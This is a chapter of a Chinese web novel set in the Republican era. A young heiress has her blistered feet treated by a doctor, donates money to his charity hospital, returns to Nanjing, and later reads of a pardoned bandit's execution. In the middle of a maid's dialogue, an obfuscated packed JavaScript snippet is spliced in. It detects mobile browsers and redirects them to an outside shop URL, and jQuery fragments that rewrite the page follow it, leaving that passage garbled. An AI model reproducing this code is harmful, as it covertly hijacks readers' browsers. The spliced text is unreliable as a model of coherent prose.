20. 第 20 章

作品:《被军阀公子退婚后[民国]

    叶景是仁心医院的医生,日本留学的青年才俊,没有去大城市,反而选择回到家乡建设家乡。这天他刚换下白大褂准备下班,院长匆匆忙忙赶过来,拉起他就走,“快别下班了,先跟我来,有急事!”


    作为医院骨干,叶景待遇是相当不错的,面对招他进来的院长只能不满的跟着走了几步,“院长你倒是说什么事啊,就是有病人我不也得带上医疗箱。”


    院长一拍脑壳,“还是年轻人脑子好使,快带上。”


    两人整理好东西坐上接人的汽车直奔威宁路,叶景摸了摸汽车内饰,就知道这家是个有钱的,不是那种外强中干的,要知道他们县长秘书还只能做黄包车呢。


    院长在车上细细交代,“人家是远东实业的大小姐,刚从云泽崮回来,受了惊吓,你给人检查一下有没有受伤,好好治。”复又压低声音,“江苏的,家里有钱,”他使了个眼神,叶景心领神会,吃大户嘛,这事儿他熟。


    到了威宁路25号公寓,即便是短暂停留,为了主家的方便,远东实业在山东的分会长依旧租了一套精致的宅院,清儿将房间布置的温馨舒适,安慰了哭的直冒鼻涕泡的清儿,她躺在浴缸里,温热的水从四面八方涌过来,水流抚慰着包裹着她的身体,水汽氤氲着,窗外有风吹过,桂花沙沙地响,她闭上眼睛,内心出奇的平静,就像一块被揉皱的缎子,一点点地被熨平。


    有爸爸在,外界的风风雨雨再打不到她身上。


    穿上睡衣,懒散的躺到床上,紧绷的神经一根一根松开,等候已久的医生被丫鬟叫上来。


    叶景面色不太好,催的时候就跟人马上要死了一样,结果到了之后硬生生等了一个小时,虽说热茶热点心伺候着,但是这种富贵人家无意的怠慢总是让人不爽。


    他拿着自己的医疗箱,蹬蹬上了楼,红木座椅上,洵美起身相迎,“叶医生,真是不好意思,不知道您在下边,耽误了您的时间。”


    叶景的脚步顿住了,光线昏黄的卧室内,清丽的少女轻轻微笑着,柔顺的头发仍带着水汽,贴在她柔软白皙的侧脸,他情不自禁放慢了脚步,生怕自己打扰了这一室的柔美。


    “没,没事。”


    轻咳一声,勉强找回自己的声音,“林小姐,您有什么不舒服?”


    洵美知道不能讳疾忌医的道理,她将脚抬到脚踏上,脱去睡鞋,“之前走路磨出了许多水泡。”


    脚背薄薄的,透出淡青色的血管纹路,脚趾修长,趾间泛着浅浅的粉,叶景的脸红了,这让他看到脚底的伤势时只觉得格外刺眼,白玉有瑕。


    本着基本的医生职业素养,他拿出专业态度,询问了一些受伤时间,用药情况,“应该是用的白芨和芙蓉叶,这都有消炎镇痛,止血生肌的效用,现在水泡已经瘪了,周围还有些红肿感染,千万别去撕它,我给你留一盒药,一天涂两次,涂上三天,三天之后我再来看。”


    洵美点头应是,让清儿送医生出门。


    叶景出了院子,抬头就看到院长笑眯眯的等在外面,看这样子没少赚啊,他心情莫名不爽,这样岂不是证明自己是个没有医德死要钱的医生,


    “人家给了了多少?”


    院长伸出两根手指头,没有卖关子的意思,“两百大洋!”


    他背着手思考这钱可以给医院的弃婴们买多少奶粉,再给大孩子们买一些课本,哎呀,像今天这种买卖再多一点就好了。


    真大方啊,叶景心里有些苦涩的想,人家轻轻一抬手,就是他要挣半年的工资呢。


    洵美涂上药,几乎一沾枕头就睡着了,一夜无梦。


    在山东临县休息了两天,第三天叶景又来复诊了一次。恢复很好,她下楼时听到家里雇的当地厨娘和管家聊天,说仁心医院是临县最好的医院,不仅给穷人免医药费,还收留了一大批被遗弃,或战乱失孤的病婴,医院常年如此渐渐入不敷出,院长便到处去名门大户家“化缘”,还得了一个诨号“鬼见愁”,因此她对叶医生的印象非常好,征得爸爸的同意后,去账房先生那里开了一张三千两的银票。


    叶景拿药的手顿住,一双手伸在他眼前,骨肉匀停,指节细长,更神奇的是这手里捏着的一张薄薄的银票,豁,真大方啊,三千两呢。


    “叶医生,收下吧,虽然我在家中,但也听说了你们的义举,这钱给孩子们买一些牛奶,还可以请几个护工,日后医院如果有困难随时可以给我写信,信件地址送到南京老宅就可以。”洵美笑了笑,目光中柔柔的关心仿佛要溢出来,她看着他,没有一丝杂念。


    叶景也笑了笑,笑的毫无阴霾,“林小姐真是谢谢您了,有了这钱,院长这个月终于能休息一下了!”


    洵美亲自送他出门坐车,他来了两次,林府的司机从来是车接车送的。


    汽车后视镜中,叶景紧紧攥着那张银票,喉头干哑,和门口特意相送的林小姐挥手道别。


    这厢林父找了一位裴系的团长,这位团长的部队正要南下换防,他们决定跟着军队一起走,这世道越来越乱了,虽说兵匪不分家,但不打仗的时候当兵的还是可以信任的。


    一行人简单收拾东西,坐上运输军队的专列。


    与此同时北京政府秘密下令山东督军带两万人马武装清剿梦泽崮土匪。


    终于回到南京,清儿马不停蹄收拾行李箱,嘴巴也不闲着,“小姐你先上床躺着,床已经收拾好了,都是新换的床褥枕头,叶医生讲了你的脚要少走路,这么好看的脚可不能留疤了。”


    洵美懒懒的嗯了一声,“这都多少天了,都快长好了。”


    清儿想想也对,又对着外面喊了一声,声音神气极了,“还不快进来上菜,小姐回来了,平安回来了!你们还在那里躲懒,看看这角落里积了多少灰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311379|198864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    小丫鬟们笑嘻嘻挤进来,叽叽喳喳的叫,“小姐好,清儿姐姐好,小姐我们都惦念着你呢。”


    “山东什么样啊,听说她们那里都吃馒头大饼。”


    “我还听人讲他们那里的人都又高又壮,凶得很,以前闹义和拳的时候他们一直打到北京呢。”


    “吃馒头能长得更高吗,我长得矮肯定是因为天天吃米饭。”


    “得了吧,你老子娘也就武大郎那么高,你这是娘矬矬一窝,别吃多了竖着不长横着长嘞。”


    “呸,臭红玉,你胡说我撕烂你的嘴!”


    终于有人想起小姐,“那边的土匪可凶得很,小姐你没受伤吧?”


    “小姐看着好得不得了,肯定没受伤。”


    洵美被她们的话逗得笑出声来,清儿推开她们,自己站在小姐身边,她可小姐身边最得力的大丫头,谁也不能夺宠!


    她清了清嗓子,做出自己最稳重的样子,“小姐还没吃饭呢,还不去厨房端菜!”


    时光匆匆如流水,终于报纸刊登了梦泽崮土匪的最新消息,在军队围剿的压力下,齐虎终于怕了,主动降低了要求,梦泽崮土匪被招安后,人质全部被安全救出。


    因此次火车大劫案,六国外交使团妄图借此干涉华国内政,提出一份“临时决议”,要求改组警察由外国武官监督,铁路共管,该案直接负责人山东督军及临县镇守使就地免职,如此赤裸意图,引起国内一片哗然。


    山东各界更是起草“请愿书”以庚子条约相类比,请求政府不可让步。


    总统府内,大总统捏着胡子思索,其他几条不可从命,撤销山东督军这条倒是可以商议,毕竟他裴鉴可是苏系中坚,若撤销其督军一职,曹湫华必定如折一臂。


    裴鉴最终“自愿”辞去山东督军一职,由年崧接任。


    另一边齐虎被招安后,其命运几乎与先辈梁山好汉如出一辙,齐虎和他的新编旅接到的第一个任务就是率部剿匪,齐虎立功心切,格外卖力,战果丰硕,但这反而加速了其杀身之祸,皆因齐虎部匪性不改,其收缴到的枪支弹药,仅把少量上交,大部分私藏,而且,新编旅成立后,有不同派系的军阀看上这支队伍对其频送秋波,再一次缴获冲突中,新任临县镇守使巧设鸿门宴,一刀剁了齐虎的人头,他的旅部部迅速被重兵包围,除了他的本家兄弟齐龙带着四名马弁逃走外,其他人都做了瓮中之鳖。


    对新编旅其他士兵倒也并不为难,每位士兵都被发放了3个月的饷银,个人枪支以5元至10元不等之价“赎买”,所有人员获得“免死证”,被押送回籍。


    至此火车大劫案终于落幕。


    看完报道,洵美心情复杂,对事件全貌报道上并不甚清晰,只知道齐虎授首,旅部押送回籍,对于齐虎的遭遇她有所预感,只希望齐龙逃出来后能够隐姓埋名,好好生活吧。